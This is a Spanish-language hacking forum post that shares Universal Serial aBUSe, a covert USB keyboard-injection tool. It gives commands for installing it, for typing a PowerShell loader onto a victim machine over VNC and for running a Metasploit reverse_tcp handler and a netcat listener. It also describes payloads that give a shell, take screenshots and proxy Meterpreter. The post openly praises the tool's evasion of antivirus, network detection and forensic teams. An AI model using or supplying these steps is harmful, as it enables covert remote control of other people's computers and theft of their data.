Universal Serial aBUSe

Iniciado por d0r127, Enero 14, 2017, 09:08:17 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 14, 2017, 09:08:17 AM Ultima modificación: Enero 14, 2017, 09:11:30 AM por d0r127
Buenas a todos y a todas, aqui rafa mora, queria compartiros esta herramienta :)

Universal Serial aBUSe


Descripcion

Universal Serial aBUSe es un proyecto lanzado en la Defcon 24 por Rogan Dawes. El equipo tuvo algunos ataques bastante comunes (teclados falsos en pequeños dispositivos USB que escriben cosas desagradables) y los extendió a proporcionarnos un canal binario bidireccional sobre nuestra propia red wifi para darnos acceso remoto independiente de la red del host. Esto nos da varias mejoras con respecto a los ataques de estilo tradicional "Rubber Ducky".

-Podemos desencadenar el ataque cuando queremos.
-No utilizamos la red del anfitrión. Sin problemas en exfil, o potencial para la captura de NIDS.
-Un montón de trabajo se pueden mover al hardware, lo que da menos para cosas como AV para activar o equipos DFIR de encontrar.
-No se muestra como un adaptador de red, nuestra tubería binario es un dispositivo inocuo, por lo que es más difícil de detectar.

Caracteristicas ingeniosas

-Utiliza un raton jiggler para evitar que el protector de pantalla se active (pero sin ningún movimiento visible del ratón)
-Las cargas útiles optimizadas se ocultan de un usuario en su activación de 4s
-La capacidad para integrar tu payload favorito.

Instalacion

Este repositorio tiene una serie instrucciones y código para construir el firmware y el software de.Comenzamos descargando el proyecto de github.

Código: php
git clone --recursive https://github.com/sensepost/USaBUSe


Si desea ejecutar sólo los ataques, entonces no es necesario clonar todos los submódulos. La última versión ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) tendrá firmware precompilado. Después solo necesitas:

-esptool para actualizar el firmware
-vncdotool para ejecutar la interacción automatizada en el cliente.
-los scripts de este repositorio para las cargas útiles.

Programacion del firmware

Código: php
cd vncdotool

Código: php
python setup.py install


ACLARACION: vncdotool solo es compatile con Python2.7

Código: php
vncdo -s esp-link.lan -p password type "echo hello" key enter


Un ejemplo mas completo
Código: php
vncdo -s esp-link.lan -p password key alt-r pause 1 type powershell key enter pause 1 typefile powershell/read_exec.ps1


Si esp-link.lan no resuelve, busque el puerto 23 y 5900 en la red local, o consultar su servidor DHCP.

La interacción con la interfaz HID genérico requiere que el código del lado víctima encontrada bajo el powershell / directorio, así como el código del lado del atacante que se encuentra en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Una demostración de un completo, ataque de extremo a extremo se puede encontrar en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En resumen, la forma en que funciona es que el atacante usar VNC para escribir a máquina una carga útil stage0 (utilizando actualmente PowerShell), que tiene sólo inteligencia suficiente para abrir el canal de mayor ancho de banda (en la actualidad sólo HID Genérico se implementa), y la carga y ejecutar una carga útil stage1 más complicado. Hay un par de cargas útiles stage1 implementado actualmente:

-spawn.ps1 - cmd.exe Ejecutar, y el tubo de salida estándar / stderr sobre el dispositivo, mientras que la lectura del dispositivo, y la escritura que a la entrada estándar del proceso.
-screenshot.ps1 - tomar una captura de pantalla del escritorio, y enviarlos a través del dispositivo.
-msf_proxy.ps1 - abrir un socket TCP en localhost: 65535, y la retransmisión de datos de ida y vuelta sobre el dispositivo. En un hilo separado, invocar el paso del cargador Metasploit, la conexión a localhost: 65535. Esto se puede utilizar para ejecutar un msfconsole ventanas / cáscara / reverse_tcp o incluso (con un poco de paciencia!) Una completa ventanas / meterpreter / reverse_tcp.

La paciencia es necesaria debido a que el dispositivo USB no tiene particularmente alto ancho de banda. HID Genérico se limita a 64 KB / s, y la UART entre los dos microprocesadores se limita a 250kbps (25KBps), pero otras limitaciones (muchos de ellos probablemente debido a la aplicación ingenua!) Nos limitar aún más! Actualmente, estamos alcanzando aproximadamente 4KBps.

Parches para mejorar la velocidad (y cualquier otro aspecto del sistema) son bienvenidos!

Una vez que la carga útil básica stage0 ha sido escrito a máquina a través de VNC, la segunda etapa se envía a través de la interfaz genérica HID (sólo la aplicación en la actualidad).

read_exec.ps1 espera recibir la próxima etapa en el siguiente formato:

Código: php
<stage length high byte><stage length low byte><powershell stage>


El script de shell incluidos No tienes permitido ver los links. Registrarse o Entrar a mi cuenta se encarga de este proceso para usted.

¡Nota! Hay un sueño importante incluida entre el envío de la segunda etapa, y la conexión de la toma de corriente al punto extremo final (msf, etc). La razón de esto es que la segunda etapa puede no terminar en un límite de 63 bytes, y si el punto final empieza a enviar los datos antes de tiempo, algunos de los que los datos pueden terminar "lleno" en el espacio vacío en el último paquete de la stage2 carga útil. Actualmente, el cargador stage0 no tiene ningún mecanismo para mantener estos datos para su uso posterior en la segunda etapa, y es descartado. La introducción de un sueño se asegura de que todos los datos desde el punto final no se llenan con la carga útil stage2, y evita la corrupción de datos.

El uso de Metasploit Framework

El guión No tienes permitido ver los links. Registrarse o Entrar a mi cuenta actual espera conectar a un oyente que se ejecuta en el puerto 4444 en el servidor local. Exactamente qué tipo de detector que debe ser depende de la secuencia de comandos stage1 que se envió. Si envía spawn.ps1, el oyente puede ser un simple "nc -l -p 4444". Si va a enviar msf_proxy.ps1, el oyente debe ser un msfconsole debidamente configurado. Usted puede elegir su carga útil como desee, de entre el grupo de cargas útiles que hacen uso de una conexión por etapas / reverse_tcp.

Por ejemplo:

Código: php
./msfconsole
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
exploit


NOTA:No establezca LHOST a 127.0.0.1, se trata de un "número mágico" interno utilizado por Metasploit para sus propios fines. Las cosas se rompen al azar si lo hace! xDD

Construyendo el firmware AVR

OS X también puede obtener el compilador AVR mediante la instalación de la aplicación Arduino, por ejemplo Caskroom / barril / Arduino

Linux puede instalar usando apt-get:

Código: php
sudo apt-get install gcc-avr avr-libc avrdude


Una vez instaladas las herramientas de avr y avr-gcc está en su PATH, compilar los firmwares avr

Código: php
cd avr
make


Esto debe construir dos firmwares, Program_ESP y KeyboardMouseGeneric. es decir, debe tener archivos .hex en cada directorio.

Construyendo el firmware ESP8266

Una vez que el clon recursiva ha completado, la construcción de la SDK-esp-abierta (asegúrese de que la construcción de la versión independiente!). usuarios de OS X FAVOR que este paso se debe realizar en un sistema de archivos entre mayúsculas y minúsculas!

Código: php
  cd esp-open-sdk
  make STANDALONE=n

Una vez que el SDK-esp-abierto ha recopilado, en el directorio de nivel superior, hacer:
Código: php
wget --content-disposition "http://bbs.espressif.com/download/file.php?id=1046"

Código: php
 unzip ESP8266_NONOS_SDK_V1.5.1_16_01_08.zip


Si tienes OS X, es probable que necesites instalar GNU sed, y asegúrese de que está en su PATH. Una manera fácil de hacer esto es usar Homebrew:

Código: php
brew install gnu-sed

Código: php
export PATH="/usr/local/opt/gnu-sed/libexec/gnubin:$PATH"


Como alternativa, para garantizar que siga siendo accesible después de que finalice la sesión, y para evitar errores extraños en futuras versiones, agregarlo a su perfil de golpe.

Si se encuentra con esto, asegúrese de ejecutar "make clean" para eliminar los artefactos rotos, antes de tratar de construir de nuevo.
En esta etapa, usted debe ser capaz de cambiar al directorio esp-VNC, y ejecutar make para construir el firmware ESP8266.

Código: php
 cd esp-vnc
make


Descargar la herramienta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



fuente:n0where.net



Un saludo biachees :)